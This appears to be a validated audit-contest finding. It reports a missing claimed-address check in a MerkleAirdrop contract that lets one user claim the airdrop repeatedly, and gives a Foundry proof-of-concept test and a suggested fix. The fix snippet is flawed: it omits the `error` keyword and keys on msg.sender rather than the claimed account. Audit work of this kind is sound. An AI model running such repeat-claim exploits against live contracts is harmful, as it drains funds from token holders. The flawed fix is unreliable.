Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

[H-2] Lack of access control in `MerkleAirdrop.sol::claim()` function lets a user claim more than once

Vulnerability Details and Impact

Since there is no check for claimed addresses in the MerkleAirdrop contract, any user who is eligible for claiming the airdrop tokens can claim more than once and potentially drain the whole airdrop tokens of the contract

PoC

Add the following block of code in your MerkleAirdropTest.t.sol test file:

function testUsersCanClaimMoreThanOnce() public {
// Arrange
uint256 startingUsdcBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, (airdrop.getFee()) * 4);
// Act
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
// Assert
uint256 endingUsdcBalance = token.balanceOf(collectorOne);
assertEq(endingUsdcBalance - startingUsdcBalance, (amountToCollect * 4));
}

Then run the following command for executing the test:

forge test --mt testUsersCanClaimMoreThanOnce

Tools Used

Manual review and Foundry unit tests

Recommendations

Modify MerkleAirdrop contract to check for claimed addresses:

contract MerkleAirdrop is Ownable {
// errors
+ MerkleAirdrop__AlreadyClaimed();
// state variables
+ mapping(address => bool) s_isClaimed;
...
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ if (s_isClaimed[msg.sender]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
+ s_isClaimed[msg.sender] = true;
...
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.